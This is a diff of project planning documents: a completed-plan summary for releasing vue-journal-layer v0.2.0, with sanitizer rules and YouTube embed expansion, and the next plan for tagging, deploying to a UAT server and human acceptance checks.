+
+key-decisions:
+  - "The layer mirror gained exactly the four editor-output rules of the Go policy (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER); no fifth rule was needed for the corpus"
+  - "Embed expansion runs only at the v-html sinks, after sanitizeJournalHtml; the payload (toPostView, CategoryPage) carries the placeholder, never the iframe"
+  - "Human approved the one-way release at the Task 2 blocking-human checkpoint with the reply \"push\"; vue-journal-layer v0.2.0 is published and any later defect gets v0.2.1"
+  - "The release commit also moved the README install line from #v0.1.0 to #v0.2.0 so the documented pin matches the published tag"
+
+patterns-established:
+  - "A layer release is a separate 'chore: release vX.Y.Z' commit (package.json version plus README install line), tagged annotated, pushed after a blocking-human checkpoint, proven by scripts/check-git-install.sh, then pinned in the consuming app with a regenerated lockfile"
+
+requirements-completed: [D-05, D-17]
+
+coverage:
+  - id: D1
+    description: "htmlGate.ts mirrors the Go editor-output extension and nothing more; every corpus entry is safe, the placeholder survives two sanitizer passes, negative cases (other provider, 10/12-char id, data-id on div, other data attributes, iframe, ol start=x) are stripped"
+    requirement: "D-05"
+    verification:
+      - kind: unit
+        ref: "../vue-journal-layer/tests/htmlGate.test.ts (npm test: 136 pass, 0 fail)"
+        status: pass
+      - kind: other
+        ref: "cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (exit 0)"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "expandEmbeds turns only the exact allowlisted placeholder into a youtube-nocookie iframe, last at the post and category sinks; a raw stored iframe is stripped before expansion"
+    requirement: "D-17"
+    verification:
+      - kind: unit
+        ref: "../vue-journal-layer/tests/embeds.test.ts (npm test: 136 pass, 0 fail)"
+        status: pass
+      - kind: integration
+        ref: "node testing/smoke-ssr.mjs against the built playground: smoke-ssr: ok (29 checks), including 200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "vue-journal-layer v0.2.0 is an annotated tag on origin and installs anonymously; the scratch lockfile pins the tag commit and the acme SSR expectations pass"
+    requirement: "D-17"
+    verification:
+      - kind: integration
+        ref: "bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0 -> check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "vue-grzybyfunkcjonalne-app main pins #v0.2.0, its lockfile resolves to 759e684e, it builds, its unit and SSR tests pass, and main equals origin/main"
+    requirement: "D-17"
+    verification:
+      - kind: integration
+        ref: "Task 3 app verify command -> # pass 26, # fail 0, app-pin-ok; pnpm run smoke:ssr -> smoke-ssr: ok (37 checks)"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "A Blog Editor YouTube embed plays on the deployed grzybyfunkcjonalne.pl UAT page"
+    requirement: "D-17"
+    verification: []
+    human_judgment: true
+    rationale: "The UAT deploy and the CSP frame-src https://www.youtube-nocookie.com addition belong to plan 05; a real browser on the deployed site is needed to confirm the frame loads"
+
+duration: "about 50 min across two executor runs (Task 3 continuation 7 min)"
+completed: 2026-10-10
+status: complete
+---
+
+# Phase 16.2 Plan 04: Journal Embeds in the Nuxt Layer Summary
+
+**vue-journal-layer v0.2.0 keeps the Blog Editor's markup through its sanitize-html mirror (four rules matching the Go policy) and expands `<figure data-embed="youtube" data-id="…">` placeholders into youtube-nocookie iframes as the last step before v-html. The tag is published and installs anonymously, and vue-grzybyfunkcjonalne-app main pins it.**
+
+## Performance
+
+- **Duration:** about 50 min over two executor runs. The first run covered Task 1, the release commit and the Task 2 checkpoint (layer commits at 10:19Z). This continuation ran Task 3 from 2026-10-10T11:01:53Z to about 11:08Z.
+- **Started:** about 2026-10-10T10:14Z, after plan 03 closed. The prior run did not record an exact start time.
+- **Completed:** 2026-10-10T11:10Z
+- **Tasks:** 3/3 (Task 1 tracer, Task 2 blocking-human decision, Task 3 release)
+- **Files modified:** 15 (13 in vue-journal-layer, 2 in vue-grzybyfunkcjonalne-app)
+
+## Accomplishments
+
+- **Mirror (D-05 amended).** `htmlGate.ts` gained exactly the four editor-output rules that plan 03 added to the Go bluemonday policy: figure `data-embed` `^youtube$`, figure `data-id` `^[A-Za-z0-9_-]{11}$`, img `alt` free text and ol `start` INTEGER. Every entry of the byte-copied corpus is safe. The Policy section of decision note 0001 lists the four additions.
+- **Embeds (D-17).** `app/utils/embeds.ts` exports `EMBED_PLACEHOLDER`, `EMBED_PROVIDERS` (YouTube only) and `expandEmbeds`. The iframe src is the fixed host `https://www.youtube-nocookie.com/embed/` plus the validated id, and the iframe gets lazy loading, a strict-origin-when-cross-origin referrer policy and a restricted `allow` list.
+- **Order.** `JournalPostBody` and `JournalCategoryHeader` render `expandEmbeds(sanitizeJournalHtml(html))`. `toPostView` and `CategoryPage.vue` only sanitize. A raw iframe in stored HTML is stripped before expansion.
+- **SSR proof.** The acme fixture post `hello-acme` carries a placeholder, and the built playground renders the iframe for it.
+- **Release.** Annotated tag `v0.2.0` is on origin and `check-git-install.sh v0.2.0` passes.
+- **App pin.** The site app pins `#v0.2.0` on its pushed main, with a lockfile that resolves to the tag commit.
+
+## Task Commits
+
+| Task | Name | Repo | Commit |
+|---|---|---|---|
+| 1 | Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe | vue-journal-layer | `a6ee443` (feat) |
+| 2 | Approve pushing vue-journal-layer v0.2.0 and the site app pin (prep: release commit) | vue-journal-layer | `759e684` (chore: release v0.2.0) |
+| 3 | Push the layer tag, prove the git install, pin v0.2.0 in the site app | vue-grzybyfunkcjonalne-app | `465286a` (chore(deps)) |
+
+Task 3 also created the annotated tag `v0.2.0` (tag object `042b65d072f276f7ee6f1d8bc6f66f518411161e`, peeled commit `759e684e862bd8a2f34e2bbcdf258f66aeddad4f`).
+
+**Pushed heads:**
+- vue-journal-layer `main`: `294a8d8..759e684` (`759e684e862bd8a2f34e2bbcdf258f66aeddad4f`) and tag `v0.2.0`, pushed to git@git.golem15.com:golem15/vue-journal-layer.git.
+- vue-grzybyfunkcjonalne-app `main`: `ada03b2..465286a` (`465286a880f0aae6118c2915aa1475a5da353295`), pushed to git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git.
+
+The summercms.go host gitlink and the sm-grzybyfunkcjonalne-app host gitlink were not touched. Plan 05 bumps them.
+
+## Evidence
+
+**Task 1 (tracer):**
+- `npm test`: 136 pass, 0 fail.
+- `pnpm install --frozen-lockfile` and `build:playground`: OK.
+- `smoke-ssr: ok (29 checks)`, including `200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ`.
+- `cmp tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`: exit 0.
+- Exactly four mirror rules were added: figure data-embed `^youtube$`, figure data-id `^[A-Za-z0-9_-]{11}$`, img alt FREE_TEXT, ol start INTEGER.
+
+**Task 2 (checkpoint:decision, gate blocking-human):**
+- The verify command printed `push-precheck-ok`.
+- Release sheet:
+  - Layer commits to push: `a6ee443` feat, `759e684` chore: release v0.2.0.
+  - Tag `v0.2.0`, message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes".
+  - App change: pin `#v0.1.1` to `#v0.2.0`, plus the regenerated lockfile.
+  - Rollback: a defect means v0.2.1, and the app pin can go back to `#v0.1.1`.
+- Human reply, verbatim: "push"
+
+**Task 3 (release):**
+- Re-check before tagging: `git ls-remote --tags origin refs/tags/v0.2.0` was empty, the layer and app trees were clean, and neither was behind origin/main.
+- `git ls-remote --tags origin`: `042b65d0… refs/tags/v0.2.0` and `759e684e… refs/tags/v0.2.0^{}`.
+- `bash scripts/check-git-install.sh v0.2.0`: `smoke-ssr: ok (29 checks)`, then `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
+- App `pnpm install`: `- vue-journal-layer 0.1.0` / `+ vue-journal-layer 0.2.0`. The lockfile diff only touches the layer's specifier, version and resolution `commit: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`.
+- App verify (`grep pin && pnpm install --frozen-lockfile && pnpm build && pnpm test && HEAD == origin/main`): `# pass 26`, `# fail 0`, `app-pin-ok`.
+- App `pnpm run smoke:ssr` (extra check): `smoke-ssr: ok (37 checks)`.
+
+## Files Created/Modified
+
+- `../vue-journal-layer/app/utils/embeds.ts`: placeholder RegExp, provider allowlist and `expandEmbeds`.
+- `../vue-journal-layer/app/utils/htmlGate.ts`: figure and ol entries and the widened img alt rule.
+- `../vue-journal-layer/app/components/Journal/PostBody.vue` and `CategoryHeader.vue`: sanitize, then expand, then v-html.
+- `../vue-journal-layer/app/assets/css/journal-base.css`: `.journal-embed` frame at a 16 / 9 aspect ratio.
+- `../vue-journal-layer/tests/embeds.test.ts`, `tests/htmlGate.test.ts` and `tests/fixtures/editor-corpus.json`: transform, pipeline and mirror tests, plus the corpus copy.
+- `../vue-journal-layer/testing/fixtures/acme/posts.json` and `testing/expect-acme.txt`: the SSR fixture and its expectation.
+- `../vue-journal-layer/docs/decisions/0001-sanitize-html.md` and `README.md`: the Policy additions and the Embeds section.
+- `../vue-journal-layer/package.json`: version 0.2.0.
+- `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` and `pnpm-lock.yaml`: the `#v0.2.0` pin, resolving to 759e684e.
+
+## Decisions Made
+
+- The mirror has exactly four rules, matching the Go policy. The corpus needed no fifth rule.
+- Expansion happens only at the sinks and comes last, so the payload carries the placeholder and never an iframe.
+- The release is a separate commit, and the README install line moves with the version.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 2 - Correctness] README install line bumped with the version**
+- **Found during:** Task 2 (release prep, prior run)
+- **Issue:** The plan's release commit changes only the package.json version, but the README install snippet still pinned `#v0.1.0`. A consumer copying it would install an outdated layer.
+- **Fix:** The release commit also changes the README install line from `#v0.1.0` to `#v0.2.0`.
+- **Files modified:** ../vue-journal-layer/README.md
+- **Committed in:** `759e684` (chore: release v0.2.0)
+
+**2. [Rule 3 - Blocking] check-git-install could not write the shared /tmp pnpm store**
+- **Found during:** Task 3
+- **Issue:** The script's scratch app lives under `$TMPDIR` (/tmp), where pnpm picks the store `/tmp/.pnpm-store/v11`. On this machine another local user (`jin`) owns that store, so `pnpm install` failed with `ERR_SQLITE_ERROR attempt to write a readonly database`. The tag was not the cause.
+- **Fix:** I re-ran the unchanged script with `TMPDIR` and `npm_config_store_dir`/`pnpm_config_store_dir` pointing into the session scratchpad. The script, the tag and the remote were not touched.
+- **Files modified:** none
+- **Verification:** `check-git-install: ok v0.2.0 759e684e862bd8a2f34e2bbcdf258f66aeddad4f`
+
+---
+
+**Total deviations:** 2 (1 correctness, 1 environment blocker).
+**Impact on plan:** No change to the shipped code. The tag was created and pushed exactly as planned, with no moved tag and no force-push.
+
+## Issues Encountered
+
+- On this machine, `scripts/check-git-install.sh` fails under the default `/tmp` because the store there belongs to another user (see deviation 2). This is a machine-local environment issue, not a layer defect. Anyone re-running the script here should set `npm_config_store_dir`, or a `TMPDIR` whose pnpm store they own.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Plan 05 can bump the sm-grzybyfunkcjonalne-app host gitlink to app `465286a`. It also needs to add `frame-src https://www.youtube-nocookie.com` to the report-only CSP, then deploy to UAT.
+- The plan 06 phase gate can `cmp` the layer corpus copy against `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json`.
+
+---
+*Phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget*
+*Completed: 2026-10-10*
+
+## Self-Check: PASSED
+
+- FOUND: ../vue-journal-layer/app/utils/embeds.ts, tests/embeds.test.ts, tests/fixtures/editor-corpus.json
+- FOUND commits: a6ee443, 759e684 (vue-journal-layer), 465286a (vue-grzybyfunkcjonalne-app)
+- expandEmbeds count 0 in postView.ts and CategoryPage.vue; app pin #v0.2.0 present; corpus cmp exit 0

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md

@@ -0,0 +1,265 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 05
+type: execute
+wave: 3
+depends_on: ["16.2-01", "16.2-02", "16.2-03", "16.2-04"]
+files_modified:
+  - ../sm-journal-plugin/go.mod
+  - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
+  - ../sm-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
+  - ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
+  - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+autonomous: false
+requirements: [D-02, D-03, D-05, D-07, D-10, D-17, D-18, D-19]
+user_setup:
+  - service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
+    why: "The executor holds no UAT basic-auth or admin credentials; a human re-saves imported posts untouched, edits a test post with the Blog Editor (including a save that must strip markup and report it) and checks the public page (D-03, D-05, D-10, D-17, D-18)"
+    dashboard_config:
+      - task: "Log in to the admin through the UAT basic-auth realm with an admin account that may publish"
+        location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
+estimate:
+  tokens: 55000
+  raw_tokens: 55000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "Release (16.1 D-04 pattern): an annotated summercms tag (v0.1.18, or the next free v0.1.x if the concurrent session tagged first; v0.1.17 is the 16.1 security release) contains every plan 01 commit and is on origin; sm-journal-plugin main with plans 02 and 03 and a go.mod require of that tag is on origin; the host's plugins/golem15/journal and vue-grzybyfunkcjonalne-app gitlinks point at the pushed heads."
+    - "Release: UAT runs a binary and Nuxt output built by scripts/build.sh from those heads; the server binary's sha256 equals the local build, both supervisor programs are RUNNING, the previous binary and Nuxt output are kept for rollback, and the on-server smoke ends with 'smoke: ok ('."
+    - "D-03 and todo journal-imported-html-admin-resave on UAT: after a human saves post 64 (ekstrakt-z-turkey-tail: markdown content with the raw author footer; its content_html was re-rendered in 16.1 without the style block, whose CSS now lives in the app's base.css) and one HTML post without editing, md5(content), md5(content_html) and the md5 of their translation rows are unchanged; the read-only snapshot taken first records post 64's current state (whether content and content_html contain a style element) instead of assuming it."
+    - "D-02, D-05 and D-18 on UAT: a test post edited in the Blog Editor with an uploaded image (alt and caption) and a YouTube embed stores content equal to content_html, containing data-embed=\"youtube\", a figcaption and an image URL under /storage/app/uploads/public/journal/posts/."
+    - "D-10 on UAT (amended): a save of the test post after a style block and an onclick attribute were added in the source tab succeeds, the admin sees a notice naming the removed style element and onclick attribute, the editor reloads without them, and the stored content and content_html are equal and contain neither."
+    - "D-17 on UAT: while the test post is published, its public page served on the server contains an iframe on https://www.youtube-nocookie.com/embed/."
+    - "Release gate: the human chooses release-now or docker-first after seeing which Postgres suites could not run here and any open high finding of a code or security review."
+  artifacts:
+    - path: "../sm-journal-plugin/go.mod"
+      provides: "nominal require of the release tag (the go.work replace to ../summercms.go stays)"
+      contains: "git.golem15.com/golem15/summercms v0.1."
+  key_links:
+    - from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
+      to: "sm-journal-plugin origin/main"
+      via: "submodule pointer bump committed and pushed in the host"
+      pattern: "plugins/golem15/journal"
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app (gitlink)"
+      to: "vue-grzybyfunkcjonalne-app origin/main pinning vue-journal-layer v0.2.0 (plan 04)"
+      via: "submodule pointer bump committed and pushed in the host"
+      pattern: "vue-grzybyfunkcjonalne-app"
+  prohibitions:
+    - statement: "The executor runs only SELECT queries on the UAT database; post data changes only through human admin saves."
+      status: unresolved
+      verification: judgment
+    - statement: "The live Winter site, its vhost, php-fpm and the PHP database are not touched by the redeploy (Phase 16 D-10)."
+      status: unresolved
+      verification: judgment
+    - statement: "The executor never requests, prints, stores or commits a credential (UAT basic auth, admin password, server .env)."
+      status: unresolved
+      verification: judgment
+    - statement: "No pushed tag is moved or deleted; a defect after the push gets the next tag."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 3, plan 05; the 16.1-02 pattern): release the framework, the plugin and the site, redeploy UAT, and prove on the real imported data that untouched saves are byte-identical and that editing, uploads and embeds work.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-10 amended)
+
+16.1 closed after this plan was written. The release facts below are refreshed: v0.1.17 is taken, so this phase tags v0.1.18 or the next free tag; the plugin head is c60abc6; the layer is at v0.1.1. Posts 53 and 64 were re-saved on UAT, so post 64's content_html no longer has its style block, and the snapshot records its state read-only instead of assuming it. The UAT refusal step is replaced by a strip-and-report step (amended D-10). The public vhost now sends a report-only CSP, so the host commit also allows the youtube-nocookie frame.
+
+Wave order: 01 and 02 (wave 1), 03 and 04 (wave 2; 04 needs plan 02's editor corpus), this plan (wave 3), 06 unit tests (wave 4). CLAUDE.md lean rule 3 keeps the unit-test plan last; as in 16.1 the release does not wait for it, and plan 06's tests ship with the next tag.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Artifacts this phase produces (this plan)
+
+- summercms annotated tag `v0.1.18` (or the next free `v0.1.x`) on origin.
+- sm-journal-plugin main on origin with `chore(deps): require summercms <tag>`.
+- sm-grzybyfunkcjonalne-app master on origin: journal and vue-grzybyfunkcjonalne-app gitlink bumps, the README admin note, and `frame-src https://www.youtube-nocookie.com` in the staging vhost's report-only CSP (with its check-deploy.sh needle and the DEPLOY.md line).
+- UAT: new binary and Nuxt output, `bin/grzybyfunkcjonalne.prev` and `build/nuxt/.output.prev` kept, both programs restarted.
+- Session values recorded in the SUMMARY: `RELEASE_TAG`, `RESTART_TS`, `HTML_POST`, `POST64_STATE`, the md5 snapshot before the human saves.
+
+<objective>
+Release and redeploy (user decision 3): pass a human release gate, tag summercms, push the plugin and host bumps, build and deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then accept D-02, D-03, D-05, D-10, D-17, D-18 and D-19 on UAT with human admin actions and read-only checks.
+
+Purpose: the goal is to edit imported posts on UAT (CONTEXT Claude's Discretion: release recommended).
+Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof of byte-identical untouched saves and working edits.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
+@../sm-grzybyfunkcjonalne-app/DEPLOY.md
+
+Server facts (DEPLOY.md "Server facts", 16.1-02-SUMMARY): ssh alias `grzybyfunkcjonalne-uat`, install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL reachable by peer psql as the deploy user (database `grzybyfunkcjonalne`), default content locale pl. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1. The host builds the framework from the `../summercms.go` working tree through a replace, so the framework version in the host is nominal; the host bumps are the two gitlinks. Commits: no co-author tags, stage by explicit path.
+
+Release state at planning time (revised 2026-10-10, after 16.1 closed): summercms latest tag v0.1.17 (the 16.1 security release, tag commit c21fe36), so this phase's tag is v0.1.18 unless someone tags first; sm-journal-plugin pre-phase head c60abc6 (go.mod requires v0.1.17 with a replace to ../summercms.go); host sm-grzybyfunkcjonalne-app master 0b93ac2 with journal gitlink c60abc6 and vue-grzybyfunkcjonalne-app gitlink ada03b2; vue-journal-layer v0.1.1 (294a8d8, already ships sanitize-html) before plan 04, and the app pins #v0.1.1. UAT data: posts 53 and 64 were re-saved during 16.1; post 64's content_html no longer holds its style block (the footer CSS moved to the app's base.css, 2c46185).
+</context>
+
+<tasks>
+
+<task type="checkpoint:decision" gate="blocking-human">
+  <name>Task 1: Release gate: local checks green, tag chosen, UAT data split reported, a human approves the tag push and the UAT deploy</name>
+  <read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md (how the last release ran), the four 16.2 plan SUMMARYs (commit hashes per repository, the Postgres tests still to run), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md (Manual-Only), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md and 16.2-SECURITY.md when present</read_first>
+  <action>Do everything automatable and print a release sheet, then stop.
+
+Concurrency: in summercms.go `git status --porcelain -- modules admin docs scripts` prints nothing, `git fetch origin --tags`, and `git log --oneline HEAD..origin/master` prints nothing; the same clean and not-behind checks for ../sm-journal-plugin (main) and ../sm-grzybyfunkcjonalne-app (master). If any origin has commits this checkout lacks, stop and report; do not merge or rebase on your own.
+
+Tag: if `git tag --contains` on the first plan 01 commit lists a tag, propose reusing it and cutting none. Otherwise propose the highest of `git tag -l 'v0.1.*' --sort=-v:refname` plus one (v0.1.18 if nobody tagged after v0.1.17) and confirm with `git ls-remote --tags origin` that it does not exist yet.
+
+Run the release gate (verify command). Then, read-only on UAT, report the D-07 split of the current data (assumption A1): ssh grzybyfunkcjonalne-uat psql -X -d grzybyfunkcjonalne -tAc with a SELECT counting golem15_journal_posts whose ltrim(content) starts with '<' (served as content) and those that do not (served as content_html).
+
+Release sheet: the proposed or reused tag; commits to push per repository (summercms.go origin/master..HEAD including planning-doc commits, sm-journal-plugin origin/main..HEAD, the host's gitlink targets: sm-journal-plugin HEAD and the vue-grzybyfunkcjonalne-app commit plan 04 pushed); the UAT HTML/markdown split; the Postgres suites that cannot run here (modules/cabana testcontainers suites; the sm-journal-plugin root harness including TestPostsFormCompiles, TestPostsAdminCreateSmoke, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML and TestCategoriesAdminContent; ./models); open high findings from 16.2-REVIEW.md or 16.2-SECURITY.md if those files exist (an open high finding means only docker-first or hold may be chosen, per security_block_on high); the deploy steps from DEPLOY.md "Release" plus keeping build/nuxt/.output.prev on the server; the rollback (move bin/grzybyfunkcjonalne.prev and build/nuxt/.output.prev back and restart both programs). Stop for the human.</action>
+  <decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
+  <context>A pushed tag is read by other repositories' go.mod and the Go module proxy and publishes the pact field-type API (D-12, one-way); it cannot be moved, only superseded. The save-path code is covered here by DryRun and unit smoke tests only; the real-database proof is the UAT acceptance in Task 3, with the previous binary and Nuxt output kept for rollback. Plan 06 adds full unit coverage after the release (lean rule 3).</context>
+  <options>
+    <option id="release-now">
+      <name>Release now with the proposed tag</name>
+      <pros>UAT gets the Blog Editor immediately; Task 3 exercises the save path on the real imported data; rollback is two moves and a restart</pros>
+      <cons>The Postgres suites run later, on a Docker host; a defect found then needs the next tag</cons>
+    </option>
+    <option id="docker-first">
+      <name>Run the Docker-host suites first, then release</name>
+      <pros>The testcontainers suites in summercms.go and sm-journal-plugin, including TestPostsAdminResaveKeepsHTML with exact bytes, run before the tag is pushed</pros>
+      <cons>Needs a Docker-enabled machine and delays UAT</cons>
+    </option>
+    <option id="hold">
+      <name>Hold the release</name>
+      <pros>Nothing leaves this machine</pros>
+      <cons>UAT keeps the markdown field, whose admin save renders content through goldmark and the 16.1 sanitizer</cons>
+    </option>
+  </options>
+  <resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
+  <verify>
+    <automated>go vet ./... &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 6 &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/... &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; ../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; echo release-gate-ok</automated>
+    <fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than six "--- PASS: Test" lines for the cabana smoke set, a journal classes or controllers test fails (including the editor-output policy cross-check and the removal report tests), TestDocsTree fails, a vitest suite fails (including the editor corpus test), or a dist or OpenAPI drift gate reports stale output.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The gate printed release-gate-ok and the three repositories were clean and not behind origin.
+    - The SUMMARY records the release sheet (tag, commits per repository, UAT split counts, suites not run, review findings) and the human's reply verbatim.
+  </acceptance_criteria>
+  <done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes; snapshot the posts the human will re-save</name>
+  <reversibility rating="one-way">A pushed annotated summercms tag publishes the pact field-type API to other repositories' go.mod and the Go module proxy; it can only be superseded.</reversibility>
+  <precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, plan 04 pushed vue-grzybyfunkcjonalne-app main pinning v0.2.0, and `ssh grzybyfunkcjonalne-uat true` exits 0.</precondition>
+  <files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Security headers), ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf (line 91: Content-Security-Policy-Report-Only), ../sm-grzybyfunkcjonalne-app/README.md (Admin section), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
+  <action>Framework: unless Task 1 recorded an existing tag, re-run `git log --oneline HEAD..origin/master` (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: plugin-registered admin form field types (pact.HasFormFieldTypes), save notices (meta.notices), field upload route, admin SPA plugin fields", then git push origin master and git push origin "$RELEASE_TAG".
+
+sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the go.work replace stays, so the require is nominal); go -C ../sm-journal-plugin vet ./...; commit go.mod only as "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this publishes plans 02 and 03).
+
+Host (../sm-grzybyfunkcjonalne-app): in plugins/golem15/journal fetch origin and check out the sm-journal-plugin main just pushed; in vue-grzybyfunkcjonalne-app fetch origin and check out the main plan 04 pushed. In README.md's Admin section add one sentence that Journal post and category content are edited with the Blog Editor (WYSIWYG with a source tab), that saving an untouched post keeps its stored HTML, and that a save removes markup the HTML policy does not allow and names what it removed. Embeds and the public CSP (D-17): the staging vhost's Content-Security-Policy-Report-Only (16.1) has default-src 'self' and no frame-src, so every embed would log a violation and block the later switch to an enforced policy. Add frame-src https://www.youtube-nocookie.com to that policy in deploy/nginx/grzybyfunkcjonalne-staging.conf, add the needle frame-src https://www.youtube-nocookie.com to the vhost checks in scripts/check-deploy.sh, and name it in DEPLOY.md's Security headers bullet. Installing a changed vhost on UAT needs root (16.1 UAT item 1), which the executor does not have: record it in the SUMMARY as a pending human step; it blocks nothing here, because the policy only reports. Commit both gitlinks, README.md and the three deploy files as "chore: bump journal plugin (Blog Editor) and the site app (embeds)" and push origin master.
+
+Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh. Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
+
